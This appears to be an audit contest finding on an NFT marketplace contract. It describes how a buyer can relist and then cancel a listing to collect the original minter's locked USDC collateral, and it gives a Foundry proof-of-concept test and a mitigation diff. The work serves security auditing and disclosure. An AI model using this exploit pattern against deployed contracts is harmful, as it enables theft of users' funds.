NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Buyer steals original minter's collateral via relist + cancelListing

Author Revealed upon completion

Description

buy() transfers the NFT without clearing collateralForMinting[tokenId]. cancelListing() sends that collateral to listing.seller — whoever currently lists the token, not the original minter. A buyer can therefore buy → relist → cancel to claim the minter's collateral.

Risk

Likelihood: High — the attack requires no special permissions; any buyer on a listed NFT can execute it immediately after purchase.

Impact: High — every minter's collateral is at permanent risk once their token is listed and sold. The collateral is unrecoverable by the original minter after the attack executes.

Proof of Concept

Attack: Alice mints (locks collateral), lists. Bob buys (collateral untouched), relists as new owner, cancels — cancelListing pays Alice's collateral to Bob.

// Setup: deploy contracts, reveal collection, whitelist alice + bob, fund both with USDC
#86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">function testBuyerCanStealOriginalMinterCollateralViaCancelListing() public {
// Reveal + whitelist both participants
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(alice);
nftDealers.whitelistWallet(bob);
vm.stopPrank();
// Alice mints (locks collateral) and lists
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft(); // collateralForMinting[1] = lockAmount
nftDealers.list(#fbbf24">1, uint32(100e6));
vm.stopPrank();
// Bob buys, relists, then cancels to steal Alice's collateral
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(#fbbf24">1); // NFT → Bob, collateral unchanged
nftDealers.list(#fbbf24">1, uint32(50e6)); // overwrites s_listings[1] with Bob as seller
uint256 bobBalanceBefore = usdc.balanceOf(bob);
nftDealers.cancelListing(#fbbf24">1); // sends Alice's collateral to Bob
uint256 bobBalanceAfter = usdc.balanceOf(bob);
vm.stopPrank();
// Bob gained exactly lockAmount "syntax-token keyword" style="color:#c084fc;font-weight:600">from the cancel — he received Alice's collateral
assertEq(bobBalanceAfter - bobBalanceBefore, nftDealers.lockAmount());
// The collateral slot is now zeroed; Alice cannot recover it
assertEq(nftDealers.collateralForMinting(#fbbf24">1), 0);
// Bob retains the NFT — victim loses both the NFT and the collateral
assertEq(nftDealers.ownerOf(#fbbf24">1), bob);
}

Recommended Mitigation

Clear collateralForMinting[tokenId] inside buy() so no subsequent owner can claim it:

diff #86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">function buy(uint256 _listingId) external payable {
...
s_listings[_listingId].isActive = #86efac">"syntax-token keyword" style="color:#c084fc;font-weight:600">false;
+ collateralForMinting[listing.tokenId] = #fbbf24">0;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!